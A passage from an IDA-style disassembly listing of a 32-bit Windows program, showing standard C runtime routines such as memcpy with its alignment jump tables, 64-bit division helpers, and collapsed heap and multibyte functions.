.text:004036EB                 align 10h
.text:004036F0 ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
.text:00403728                 align 10h
.text:00403730 ; [0000003A BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND]
.text:0040376A                 align 10h
.text:00403770 ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
.text:00403777                 align 10h
.text:00403780 ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
.text:00403860 ; ---------------------------------------------------------------------------
.text:00403860
.text:00403860 ; void *__cdecl memcpy(void *,const void *,size_t)
.text:00403860 _memcpy:                                ; CODE XREF: ___crtGetEnvironmentStringsA+116p
.text:00403860                 push    ebp
.text:00403861                 mov     ebp, esp
.text:00403863                 push    edi
.text:00403864                 push    esi
.text:00403865                 mov     esi, [ebp+0Ch]
.text:00403868                 mov     ecx, [ebp+10h]
.text:0040386B                 mov     edi, [ebp+8]
.text:0040386E                 mov     eax, ecx
.text:00403870                 mov     edx, ecx
.text:00403872                 add     eax, esi
.text:00403874                 cmp     edi, esi
.text:00403876                 jbe     short loc_403880
.text:00403878                 cmp     edi, eax
.text:0040387A                 jb      loc_4039F8
.text:00403880
.text:00403880 loc_403880:                             ; CODE XREF: .text:00403876j
.text:00403880                 test    edi, 3
.text:00403886                 jnz     short loc_40389C
.text:00403888                 shr     ecx, 2
.text:0040388B                 and     edx, 3
.text:0040388E                 cmp     ecx, 8
.text:00403891                 jb      short near ptr dword_4038BC
.text:00403893                 rep movsd
.text:00403895                 jmp     ds:off_4039A8[edx*4]
.text:0040389C ; ---------------------------------------------------------------------------
.text:0040389C
.text:0040389C loc_40389C:                             ; CODE XREF: .text:00403886j
.text:0040389C                 mov     eax, edi
.text:0040389E                 mov     edx, 3
.text:004038A3                 sub     ecx, 4
.text:004038A6                 jb      short loc_4038B4
.text:004038A8                 and     eax, 3
.text:004038AB                 add     ecx, eax
.text:004038AD                 jmp     ds:dword_4038C0[eax*4]
.text:004038B4 ; ---------------------------------------------------------------------------
.text:004038B4
.text:004038B4 loc_4038B4:                             ; CODE XREF: .text:004038A6j
.text:004038B4                 jmp     ds:TrailUp0[ecx*4]
.text:004038B4 ; ---------------------------------------------------------------------------
.text:004038BB                 align 4
.text:004038BC dword_4038BC    dd 3C8D24FFh            ; CODE XREF: .text:00403891j
.text:004038C0 dword_4038C0    dd 90004039h            ; DATA XREF: .text:004038ADr
.text:004038C4                 dd offset dword_4038D0
.text:004038C8                 dd offset LeadUp2
.text:004038CC                 dd offset LeadUp3
.text:004038D0 dword_4038D0    dd 68AD123h, 468A0788h, 1478801h, 0C102468Ah, 478802E9h
.text:004038D0                                         ; DATA XREF: .text:004038C4o
.text:004038D0                 dd 3C68302h, 8303C783h, 0CC7208F9h, 24FFA5F3h, 4039A895h
.text:004038D0                 dd 498D00h
.text:004038FC LeadUp2         dd 68AD123h, 468A0788h, 2E9C101h, 83014788h, 0C78302C6h
.text:004038FC                                         ; DATA XREF: .text:004038C8o
.text:004038FC                 dd 8F98302h, 0A5F3A672h, 0A89524FFh, 90004039h
.text:00403920 LeadUp3         dd 68AD123h, 0C1460788h, 834702E9h, 8C7208F9h, 24FFA5F3h
.text:00403920                                         ; DATA XREF: .text:004038CCo
.text:00403920                 dd 4039A895h, 498D00h, 40399Fh, 40398Ch, 403984h, 40397Ch
.text:00403920                 dd 403974h, 40396Ch, 403964h, 40395Ch
.text:0040395C ; ---------------------------------------------------------------------------
.text:0040395C
.text:0040395C UnwindUp7:
.text:0040395C                 mov     eax, [esi+ecx*4-1Ch]
.text:00403960                 mov     [edi+ecx*4-1Ch], eax
.text:00403964
.text:00403964 UnwindUp6:
.text:00403964                 mov     eax, [esi+ecx*4-18h]
.text:00403968                 mov     [edi+ecx*4-18h], eax
.text:0040396C
.text:0040396C UnwindUp5:
.text:0040396C                 mov     eax, [esi+ecx*4-14h]
.text:00403970                 mov     [edi+ecx*4-14h], eax
.text:00403974
.text:00403974 UnwindUp4:
.text:00403974                 mov     eax, [esi+ecx*4-10h]
.text:00403978                 mov     [edi+ecx*4-10h], eax
.text:0040397C
.text:0040397C UnwindUp3:
.text:0040397C                 mov     eax, [esi+ecx*4-0Ch]
.text:00403980                 mov     [edi+ecx*4-0Ch], eax
.text:00403984
.text:00403984 UnwindUp2:
.text:00403984                 mov     eax, [esi+ecx*4-8]
.text:00403988                 mov     [edi+ecx*4-8], eax
.text:0040398C
.text:0040398C UnwindUp1:
.text:0040398C                 mov     eax, [esi+ecx*4-4]
.text:00403990                 mov     [edi+ecx*4-4], eax
.text:00403994                 lea     eax, ds:0[ecx*4]
.text:0040399B                 add     esi, eax
.text:0040399D                 add     edi, eax
.text:0040399F
.text:0040399F UnwindUp0:
.text:0040399F                 jmp     ds:off_4039A8[edx*4]
.text:0040399F ; ---------------------------------------------------------------------------
.text:004039A6                 align 4
.text:004039A8 off_4039A8      dd offset TrailUp0      ; DATA XREF: .text:00403895r
.text:004039A8                                         ; .text:UnwindUp0r
.text:004039AC                 dd offset TrailUp1
.text:004039B0                 dd offset TrailUp2
.text:004039B4                 dd offset TrailUp3
.text:004039B8 TrailUp0        dd 5E08458Bh            ; CODE XREF: .text:00403895j
.text:004039B8                                         ; DATA XREF: .text:loc_4038B4r ...
.text:004039BC ; ---------------------------------------------------------------------------
.text:004039BC                 pop     edi
.text:004039BD                 leave
.text:004039BE                 retn
.text:004039BE ; ---------------------------------------------------------------------------
.text:004039BF                 align 10h
.text:004039C0 ; [0000000B BYTES: COLLAPSED FUNCTION TrailUp1. PRESS KEYPAD "+" TO EXPAND]
.text:004039CB                 align 4
.text:004039CC ; [00000011 BYTES: COLLAPSED FUNCTION TrailUp2. PRESS KEYPAD "+" TO EXPAND]
.text:004039DD                 align 10h
.text:004039E0 ; [00000017 BYTES: COLLAPSED FUNCTION TrailUp3. PRESS KEYPAD "+" TO EXPAND]
.text:004039F7                 align 4
.text:004039F8
.text:004039F8 loc_4039F8:                             ; CODE XREF: .text:0040387Aj
.text:004039F8                 lea     esi, [ecx+esi-4]
.text:004039FC                 lea     edi, [ecx+edi-4]
.text:00403A00                 test    edi, 3
.text:00403A06                 jnz     short loc_403A2C
.text:00403A08                 shr     ecx, 2
.text:00403A0B                 and     edx, 3
.text:00403A0E                 cmp     ecx, 8
.text:00403A11                 jb      short loc_403A20
.text:00403A13                 std
.text:00403A14                 rep movsd
.text:00403A16                 cld
.text:00403A17                 jmp     ds:off_403B40[edx*4]
.text:00403A17 ; ---------------------------------------------------------------------------
.text:00403A1E                 align 10h
.text:00403A20
.text:00403A20 loc_403A20:                             ; CODE XREF: .text:00403A11j
.text:00403A20                                         ; .text:00403A68j ...
.text:00403A20                 neg     ecx
.text:00403A22                 jmp     ds:off_403AF0[ecx*4]
.text:00403A22 ; ---------------------------------------------------------------------------
.text:00403A29                 align 4
.text:00403A2C
.text:00403A2C loc_403A2C:                             ; CODE XREF: .text:00403A06j
.text:00403A2C                 mov     eax, edi
.text:00403A2E                 mov     edx, 3
.text:00403A33                 cmp     ecx, 4
.text:00403A36                 jb      short near ptr dword_403A44
.text:00403A38                 and     eax, 3
.text:00403A3B                 sub     ecx, eax
.text:00403A3D                 jmp     ds:dword_403A48[eax*4]
.text:00403A3D ; ---------------------------------------------------------------------------
.text:00403A44 dword_403A44    dd 408D24FFh            ; CODE XREF: .text:00403A36j
.text:00403A48 dword_403A48    dd 9000403Bh            ; DATA XREF: .text:00403A3Dr
.text:00403A4C                 dd offset loc_403A58
.text:00403A50                 dd offset LeadDown2
.text:00403A54                 dd offset LeadDown3
.text:00403A58 ; ---------------------------------------------------------------------------
.text:00403A58
.text:00403A58 loc_403A58:                             ; DATA XREF: .text:00403A4Co
.text:00403A58                 mov     al, [esi+3]
.text:00403A5B                 and     edx, ecx
.text:00403A5D                 mov     [edi+3], al
.text:00403A60                 dec     esi
.text:00403A61                 shr     ecx, 2
.text:00403A64                 dec     edi
.text:00403A65                 cmp     ecx, 8
.text:00403A68                 jb      short loc_403A20
.text:00403A6A                 std
.text:00403A6B                 rep movsd
.text:00403A6D                 cld
.text:00403A6E                 jmp     ds:off_403B40[edx*4]
.text:00403A6E ; ---------------------------------------------------------------------------
.text:00403A75                 align 4
.text:00403A78
.text:00403A78 LeadDown2:                              ; DATA XREF: .text:00403A50o
.text:00403A78                 mov     al, [esi+3]
.text:00403A7B                 and     edx, ecx
.text:00403A7D                 mov     [edi+3], al
.text:00403A80                 mov     al, [esi+2]
.text:00403A83                 shr     ecx, 2
.text:00403A86                 mov     [edi+2], al
.text:00403A89                 sub     esi, 2
.text:00403A8C                 sub     edi, 2
.text:00403A8F                 cmp     ecx, 8
.text:00403A92                 jb      short loc_403A20
.text:00403A94                 std
.text:00403A95                 rep movsd
.text:00403A97                 cld
.text:00403A98                 jmp     ds:off_403B40[edx*4]
.text:00403A98 ; ---------------------------------------------------------------------------
.text:00403A9F                 align 10h
.text:00403AA0
.text:00403AA0 LeadDown3:                              ; DATA XREF: .text:00403A54o
.text:00403AA0                 mov     al, [esi+3]
.text:00403AA3                 and     edx, ecx
.text:00403AA5                 mov     [edi+3], al
.text:00403AA8                 mov     al, [esi+2]
.text:00403AAB                 mov     [edi+2], al
.text:00403AAE                 mov     al, [esi+1]
.text:00403AB1                 shr     ecx, 2
.text:00403AB4                 mov     [edi+1], al
.text:00403AB7                 sub     esi, 3
.text:00403ABA                 sub     edi, 3
.text:00403ABD                 cmp     ecx, 8
.text:00403AC0                 jb      loc_403A20
.text:00403AC6                 std
.text:00403AC7                 rep movsd
.text:00403AC9                 cld
.text:00403ACA                 jmp     ds:off_403B40[edx*4]
.text:00403ACA ; ---------------------------------------------------------------------------
.text:00403AD1                 align 4
.text:00403AD4                 dd offset UnwindDown7
.text:00403AD8                 dd offset UnwindDown6
.text:00403ADC                 dd offset UnwindDown5
.text:00403AE0                 dd offset UnwindDown4
.text:00403AE4                 dd offset UnwindDown3
.text:00403AE8                 dd offset UnwindDown2
.text:00403AEC                 dd offset UnwindDown1
.text:00403AF0 off_403AF0      dd offset UnwindDown0   ; DATA XREF: .text:00403A22r
.text:00403AF4 ; ---------------------------------------------------------------------------
.text:00403AF4
.text:00403AF4 UnwindDown7:                            ; DATA XREF: .text:00403AD4o
.text:00403AF4                 mov     eax, [esi+ecx*4+1Ch]
.text:00403AF8                 mov     [edi+ecx*4+1Ch], eax
.text:00403AFC
.text:00403AFC UnwindDown6:                            ; DATA XREF: .text:00403AD8o
.text:00403AFC                 mov     eax, [esi+ecx*4+18h]
.text:00403B00                 mov     [edi+ecx*4+18h], eax
.text:00403B04
.text:00403B04 UnwindDown5:                            ; DATA XREF: .text:00403ADCo
.text:00403B04                 mov     eax, [esi+ecx*4+14h]
.text:00403B08                 mov     [edi+ecx*4+14h], eax
.text:00403B0C
.text:00403B0C UnwindDown4:                            ; DATA XREF: .text:00403AE0o
.text:00403B0C                 mov     eax, [esi+ecx*4+10h]
.text:00403B10                 mov     [edi+ecx*4+10h], eax
.text:00403B14
.text:00403B14 UnwindDown3:                            ; DATA XREF: .text:00403AE4o
.text:00403B14                 mov     eax, [esi+ecx*4+0Ch]
.text:00403B18                 mov     [edi+ecx*4+0Ch], eax
.text:00403B1C
.text:00403B1C UnwindDown2:                            ; DATA XREF: .text:00403AE8o
.text:00403B1C                 mov     eax, [esi+ecx*4+8]
.text:00403B20                 mov     [edi+ecx*4+8], eax
.text:00403B24
.text:00403B24 UnwindDown1:                            ; DATA XREF: .text:00403AECo
.text:00403B24                 mov     eax, [esi+ecx*4+4]
.text:00403B28                 mov     [edi+ecx*4+4], eax
.text:00403B2C                 lea     eax, ds:0[ecx*4]
.text:00403B33                 add     esi, eax
.text:00403B35                 add     edi, eax
.text:00403B37 ; [0000005E BYTES: COLLAPSED FUNCTION UnwindDown0. PRESS KEYPAD "+" TO EXPAND]
.text:00403B95                 align 10h
.text:00403BA0 ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
.text:00403BF8                 align 10h
.text:00403C00 ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
.text:00403C2F ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
.text:00403D78 ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
.text:00403D93 ; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
.text:00403DD1 ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
.text:00403DFC ; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
.text:00404127 ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
.text:00404430 ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
.text:004044E1 ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
.text:004045DC ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
.text:004045ED ; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
.text:0040461E ; [000001AD BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
.text:004047CB ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND]
.text:00404815 ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
.text:00404848 ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
.text:00404871 ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
.text:004049F6 ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
.text:00404A12 ; [0000008D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
.text:00404A9F ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
.text:00404B28                 align 10h
.text:00404B30 ; [000000D0 BYTES: COLLAPSED FUNCTION __strcmpi. PRESS KEYPAD "+" TO EXPAND]
.text:00404C00 ; [00000101 BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND]
.text:00404D01                 align 10h
.text:00404D10
.text:00404D10 ; void *__cdecl memcpy_0(void *,const void *,size_t)
.text:00404D10 _memcpy_0:                              ; CODE XREF: ___sbh_free_block+2EEp
.text:00404D10                 push    ebp
.text:00404D11                 mov     ebp, esp
.text:00404D13                 push    edi
.text:00404D14                 push    esi
.text:00404D15                 mov     esi, [ebp+0Ch]
.text:00404D18                 mov     ecx, [ebp+10h]
.text:00404D1B                 mov     edi, [ebp+8]
.text:00404D1E                 mov     eax, ecx
.text:00404D20                 mov     edx, ecx
.text:00404D22                 add     eax, esi
.text:00404D24                 cmp     edi, esi
.text:00404D26                 jbe     short loc_404D30
.text:00404D28                 cmp     edi, eax
.text:00404D2A                 jb      loc_404EA8
.text:00404D30
.text:00404D30 loc_404D30:                             ; CODE XREF: .text:00404D26j
.text:00404D30                 test    edi, 3
.text:00404D36                 jnz     short loc_404D4C
.text:00404D38                 shr     ecx, 2
.text:00404D3B                 and     edx, 3
.text:00404D3E                 cmp     ecx, 8
.text:00404D41                 jb      short near ptr dword_404D6C
.text:00404D43                 rep movsd
.text:00404D45                 jmp     ds:off_404E58[edx*4]
.text:00404D4C ; ---------------------------------------------------------------------------
.text:00404D4C
.text:00404D4C loc_404D4C:                             ; CODE XREF: .text:00404D36j
.text:00404D4C                 mov     eax, edi
.text:00404D4E                 mov     edx, 3
.text:00404D53                 sub     ecx, 4
.text:00404D56                 jb      short loc_404D64
.text:00404D58                 and     eax, 3
.text:00404D5B                 add     ecx, eax
.text:00404D5D                 jmp     ds:dword_404D70[eax*4]
.text:00404D64 ; ---------------------------------------------------------------------------
.text:00404D64
.text:00404D64 loc_404D64:                             ; CODE XREF: .text:00404D56j
.text:00404D64                 jmp     ds:TrailUp0_0[ecx*4]
.text:00404D64 ; ---------------------------------------------------------------------------
.text:00404D6B                 align 4
.text:00404D6C dword_404D6C    dd 0EC8D24FFh           ; CODE XREF: .text:00404D41j
.text:00404D70 dword_404D70    dd 9000404Dh            ; DATA XREF: .text:00404D5Dr
.text:00404D74                 dd offset dword_404D80
.text:00404D78                 dd offset LeadUp2_0
.text:00404D7C                 dd offset LeadUp3_0
.text:00404D80 dword_404D80    dd 68AD123h, 468A0788h, 1478801h, 0C102468Ah, 478802E9h
.text:00404D80                                         ; DATA XREF: .text:00404D74o
.text:00404D80                 dd 3C68302h, 8303C783h, 0CC7208F9h, 24FFA5F3h, 404E5895h
.text:00404D80                 dd 498D00h
.text:00404DAC LeadUp2_0       dd 68AD123h, 468A0788h, 2E9C101h, 83014788h, 0C78302C6h
.text:00404DAC                                         ; DATA XREF: .text:00404D78o
.text:00404DAC                 dd 8F98302h, 0A5F3A672h, 589524FFh, 9000404Eh
.text:00404DD0 LeadUp3_0       dd 68AD123h, 0C1460788h, 834702E9h, 8C7208F9h, 24FFA5F3h
.text:00404DD0                                         ; DATA XREF: .text:00404D7Co
.text:00404DD0                 dd 404E5895h, 498D00h, 404E4Fh, 404E3Ch, 404E34h, 404E2Ch
.text:00404DD0                 dd 404E24h, 404E1Ch, 404E14h, 404E0Ch
.text:00404E0C ; ---------------------------------------------------------------------------
.text:00404E0C
.text:00404E0C UnwindUp7_0:
.text:00404E0C                 mov     eax, [esi+ecx*4-1Ch]
.text:00404E10                 mov     [edi+ecx*4-1Ch], eax
.text:00404E14
.text:00404E14 UnwindUp6_0:
.text:00404E14                 mov     eax, [esi+ecx*4-18h]
.text:00404E18                 mov     [edi+ecx*4-18h], eax
.text:00404E1C
.text:00404E1C UnwindUp5_0:
.text:00404E1C                 mov     eax, [esi+ecx*4-14h]
.text:00404E20                 mov     [edi+ecx*4-14h], eax
.text:00404E24
.text:00404E24 UnwindUp4_0:
.text:00404E24                 mov     eax, [esi+ecx*4-10h]
.text:00404E28                 mov     [edi+ecx*4-10h], eax
.text:00404E2C
.text:00404E2C UnwindUp3_0:
.text:00404E2C                 mov     eax, [esi+ecx*4-0Ch]
.text:00404E30                 mov     [edi+ecx*4-0Ch], eax
.text:00404E34
.text:00404E34 UnwindUp2_0:
.text:00404E34                 mov     eax, [esi+ecx*4-8]
.text:00404E38                 mov     [edi+ecx*4-8], eax
.text:00404E3C
.text:00404E3C UnwindUp1_0:
.text:00404E3C                 mov     eax, [esi+ecx*4-4]
.text:00404E40                 mov     [edi+ecx*4-4], eax
.text:00404E44                 lea     eax, ds:0[ecx*4]
.text:00404E4B                 add     esi, eax
.text:00404E4D                 add     edi, eax
.text:00404E4F
.text:00404E4F UnwindUp0_0:
.text:00404E4F                 jmp     ds:off_404E58[edx*4]
.text:00404E4F ; ---------------------------------------------------------------------------
.text:00404E56                 align 4
.text:00404E58 off_404E58      dd offset TrailUp0_0    ; DATA XREF: .text:00404D45r
.text:00404E58                                         ; .text:UnwindUp0_0r
.text:00404E5C                 dd offset TrailUp1_0
.text:00404E60                 dd offset TrailUp2_0
.text:00404E64                 dd offset TrailUp3_0
.text:00404E68 TrailUp0_0      dd 5E08458Bh            ; CODE XREF: .text:00404D45j
.text:00404E68                                         ; DATA XREF: .text:loc_404D64r ...
.text:00404E6C ; ---------------------------------------------------------------------------
.text:00404E6C                 pop     edi
.text:00404E6D                 leave
.text:00404E6E                 retn
.text:00404E6E ; ---------------------------------------------------------------------------
.text:00404E6F                 align 10h
.text:00404E70 ; [0000000B BYTES: COLLAPSED FUNCTION TrailUp1_0. PRESS KEYPAD "+" TO EXPAND]
.text:00404E7B                 align 4
.text:00404E7C ; [00000011 BYTES: COLLAPSED FUNCTION TrailUp2_0. PRESS KEYPAD "+" TO EXPAND]
.text:00404E8D                 align 10h
.text:00404E90 ; [00000017 BYTES: COLLAPSED FUNCTION TrailUp3_0. PRESS KEYPAD "+" TO EXPAND]
.text:00404EA7                 align 4
.text:00404EA8
.text:00404EA8 loc_404EA8:                             ; CODE XREF: .text:00404D2Aj
.text:00404EA8                 lea     esi, [ecx+esi-4]
.text:00404EAC                 lea     edi, [ecx+edi-4]
.text:00404EB0                 test    edi, 3
.text:00404EB6                 jnz     short loc_404EDC
.text:00404EB8                 shr     ecx, 2
.text:00404EBB                 and     edx, 3
.text:00404EBE                 cmp     ecx, 8
.text:00404EC1                 jb      short loc_404ED0
.text:00404EC3                 std
.text:00404EC4                 rep movsd
.text:00404EC6                 cld
.text:00404EC7                 jmp     ds:off_404FF0[edx*4]
.text:00404EC7 ; ---------------------------------------------------------------------------
.text:00404ECE                 align 10h
.text:00404ED0
.text:00404ED0 loc_404ED0:                             ; CODE XREF: .text:00404EC1j
.text:00404ED0                                         ; .text:00404F18j ...
.text:00404ED0                 neg     ecx
.text:00404ED2                 jmp     ds:off_404FA0[ecx*4]
.text:00404ED2 ; ---------------------------------------------------------------------------
.text:00404ED9                 align 4
.text:00404EDC
.text:00404EDC loc_404EDC:                             ; CODE XREF: .text:00404EB6j
.text:00404EDC                 mov     eax, edi
.text:00404EDE                 mov     edx, 3
.text:00404EE3                 cmp     ecx, 4
.text:00404EE6                 jb      short near ptr dword_404EF4
.text:00404EE8                 and     eax, 3
.text:00404EEB                 sub     ecx, eax
.text:00404EED                 jmp     ds:dword_404EF8[eax*4]
.text:00404EED ; ---------------------------------------------------------------------------
.text:00404EF4 dword_404EF4    dd 0F08D24FFh           ; CODE XREF: .text:00404EE6j
.text:00404EF8 dword_404EF8    dd 9000404Fh            ; DATA XREF: .text:00404EEDr
.text:00404EFC ; ---------------------------------------------------------------------------
.text:00404EFC                 or      [edi+40h], cl
.text:00404EFF                 add     [eax], ch
.text:00404F01                 dec     edi
.text:00404F02                 inc     eax
.text:00404F03                 add     [eax+4Fh], dl
.text:00404F06                 inc     eax
.text:00404F07                 add     [edx-2EDCFCBAh], cl
.text:00404F0D                 mov     [edi+3], al
.text:00404F10                 dec     esi
.text:00404F11                 shr     ecx, 2
.text:00404F14                 dec     edi
.text:00404F15                 cmp     ecx, 8
.text:00404F18                 jb      short loc_404ED0
.text:00404F1A                 std
.text:00404F1B                 rep movsd
.text:00404F1D                 cld
.text:00404F1E                 jmp     ds:off_404FF0[edx*4]
.text:00404F1E ; ---------------------------------------------------------------------------
.text:00404F25                 align 4
.text:00404F28
.text:00404F28 LeadDown2_0:
.text:00404F28                 mov     al, [esi+3]
.text:00404F2B                 and     edx, ecx
.text:00404F2D                 mov     [edi+3], al
.text:00404F30                 mov     al, [esi+2]
.text:00404F33                 shr     ecx, 2
.text:00404F36                 mov     [edi+2], al
.text:00404F39                 sub     esi, 2
.text:00404F3C                 sub     edi, 2
.text:00404F3F                 cmp     ecx, 8
.text:00404F42                 jb      short loc_404ED0
.text:00404F44                 std
.text:00404F45                 rep movsd
.text:00404F47                 cld
.text:00404F48                 jmp     ds:off_404FF0[edx*4]
.text:00404F48 ; ---------------------------------------------------------------------------
.text:00404F4F                 align 10h
.text:00404F50
.text:00404F50 LeadDown3_0:
.text:00404F50                 mov     al, [esi+3]
.text:00404F53                 and     edx, ecx
.text:00404F55                 mov     [edi+3], al
.text:00404F58                 mov     al, [esi+2]
.text:00404F5B                 mov     [edi+2], al
.text:00404F5E                 mov     al, [esi+1]
.text:00404F61                 shr     ecx, 2
.text:00404F64                 mov     [edi+1], al
.text:00404F67                 sub     esi, 3
.text:00404F6A                 sub     edi, 3
.text:00404F6D                 cmp     ecx, 8
.text:00404F70                 jb      loc_404ED0
.text:00404F76                 std
.text:00404F77                 rep movsd
.text:00404F79                 cld
.text:00404F7A                 jmp     ds:off_404FF0[edx*4]
.text:00404F7A ; ---------------------------------------------------------------------------
.text:00404F81                 align 4
.text:00404F84                 dd offset UnwindDown7_0
.text:00404F88                 dd offset UnwindDown6_0
.text:00404F8C                 dd offset UnwindDown5_0
.text:00404F90                 dd offset UnwindDown4_0
.text:00404F94                 dd offset UnwindDown3_0
.text:00404F98                 dd offset UnwindDown2_0
.text:00404F9C                 dd offset UnwindDown1_0
.text:00404FA0 off_404FA0      dd offset UnwindDown0_0 ; DATA XREF: .text:00404ED2r
.text:00404FA4 ; ---------------------------------------------------------------------------
.text:00404FA4
.text:00404FA4 UnwindDown7_0:                          ; DATA XREF: .text:00404F84o
.text:00404FA4                 mov     eax, [esi+ecx*4+1Ch]
.text:00404FA8                 mov     [edi+ecx*4+1Ch], eax
.text:00404FAC
.text:00404FAC UnwindDown6_0:                          ; DATA XREF: .text:00404F88o
.text:00404FAC                 mov     eax, [esi+ecx*4+18h]
.text:00404FB0                 mov     [edi+ecx*4+18h], eax
.text:00404FB4
.text:00404FB4 UnwindDown5_0:                          ; DATA XREF: .text:00404F8Co
.text:00404FB4                 mov     eax, [esi+ecx*4+14h]
.text:00404FB8                 mov     [edi+ecx*4+14h], eax
.text:00404FBC
.text:00404FBC UnwindDown4_0:                          ; DATA XREF: .text:00404F90o
.text:00404FBC                 mov     eax, [esi+ecx*4+10h]
.text:00404FC0                 mov     [edi+ecx*4+10h], eax
.text:00404FC4
.text:00404FC4 UnwindDown3_0:                          ; DATA XREF: .text:00404F94o
.text:00404FC4                 mov     eax, [esi+ecx*4+0Ch]
.text:00404FC8                 mov     [edi+ecx*4+0Ch], eax
.text:00404FCC
.text:00404FCC UnwindDown2_0:                          ; DATA XREF: .text:00404F98o
.text:00404FCC                 mov     eax, [esi+ecx*4+8]
.text:00404FD0                 mov     [edi+ecx*4+8], eax
.text:00404FD4
.text:00404FD4 UnwindDown1_0:                          ; DATA XREF: .text:00404F9Co
.text:00404FD4                 mov     eax, [esi+ecx*4+4]
.text:00404FD8                 mov     [edi+ecx*4+4], eax
.text:00404FDC                 lea     eax, ds:0[ecx*4]
.text:00404FE3                 add     esi, eax
.text:00404FE5                 add     edi, eax
.text:00404FE7 ; [0000005E BYTES: COLLAPSED FUNCTION UnwindDown0_0. PRESS KEYPAD "+" TO EXPAND]
.text:00405045                 align 10h
.text:00405050
.text:00405050 __aulldiv:
.text:00405050                 push    ebx
.text:00405051                 push    esi
.text:00405052                 mov     eax, [esp+18h]
.text:00405056                 or      eax, eax
.text:00405058                 jnz     short loc_405072
.text:0040505A                 mov     ecx, [esp+14h]
.text:0040505E                 mov     eax, [esp+10h]
.text:00405062                 xor     edx, edx
.text:00405064                 div     ecx
.text:00405066                 mov     ebx, eax
.text:00405068                 mov     eax, [esp+0Ch]
.text:0040506C                 div     ecx
.text:0040506E                 mov     edx, ebx
.text:00405070                 jmp     short loc_4050B3
.text:00405072 ; ---------------------------------------------------------------------------
.text:00405072
.text:00405072 loc_405072:                             ; CODE XREF: .text:00405058j
.text:00405072                 mov     ecx, eax
.text:00405074                 mov     ebx, [esp+14h]
.text:00405078                 mov     edx, [esp+10h]
.text:0040507C                 mov     eax, [esp+0Ch]
.text:00405080
.text:00405080 loc_405080:                             ; CODE XREF: .text:0040508Aj
.text:00405080                 shr     ecx, 1
.text:00405082                 rcr     ebx, 1
.text:00405084                 shr     edx, 1
.text:00405086                 rcr     eax, 1
.text:00405088                 or      ecx, ecx
.text:0040508A                 jnz     short loc_405080
.text:0040508C                 div     ebx
.text:0040508E                 mov     esi, eax
.text:00405090                 mul     dword ptr [esp+18h]
.text:00405094                 mov     ecx, eax
.text:00405096                 mov     eax, [esp+14h]
.text:0040509A                 mul     esi
.text:0040509C                 add     edx, ecx
.text:0040509E                 jb      short loc_4050AE
.text:004050A0                 cmp     edx, [esp+10h]
.text:004050A4                 ja      short loc_4050AE
.text:004050A6                 jb      short loc_4050AF
.text:004050A8                 cmp     eax, [esp+0Ch]
.text:004050AC                 jbe     short loc_4050AF
.text:004050AE
.text:004050AE loc_4050AE:                             ; CODE XREF: .text:0040509Ej
.text:004050AE                                         ; .text:004050A4j
.text:004050AE                 dec     esi
.text:004050AF
.text:004050AF loc_4050AF:                             ; CODE XREF: .text:004050A6j
.text:004050AF                                         ; .text:004050ACj
.text:004050AF                 xor     edx, edx
.text:004050B1                 mov     eax, esi
.text:004050B3
.text:004050B3 loc_4050B3:                             ; CODE XREF: .text:00405070j
.text:004050B3                 pop     esi
.text:004050B4                 pop     ebx
.text:004050B5                 retn    10h
.text:004050B5 ; ---------------------------------------------------------------------------
.text:004050B8                 align 10h
.text:004050C0
.text:004050C0 __aullrem:
.text:004050C0                 push    ebx
.text:004050C1                 mov     eax, [esp+14h]
.text:004050C5                 or      eax, eax
.text:004050C7                 jnz     short loc_4050E1
.text:004050C9                 mov     ecx, [esp+10h]
.text:004050CD                 mov     eax, [esp+0Ch]
.text:004050D1                 xor     edx, edx
.text:004050D3                 div     ecx
.text:004050D5                 mov     eax, [esp+8]
.text:004050D9                 div     ecx
.text:004050DB                 mov     eax, edx
.text:004050DD                 xor     edx, edx
.text:004050DF                 jmp     short loc_405131
.text:004050E1 ; ---------------------------------------------------------------------------
.text:004050E1
.text:004050E1 loc_4050E1:                             ; CODE XREF: .text:004050C7j
.text:004050E1                 mov     ecx, eax
.text:004050E3                 mov     ebx, [esp+10h]
.text:004050E7                 mov     edx, [esp+0Ch]
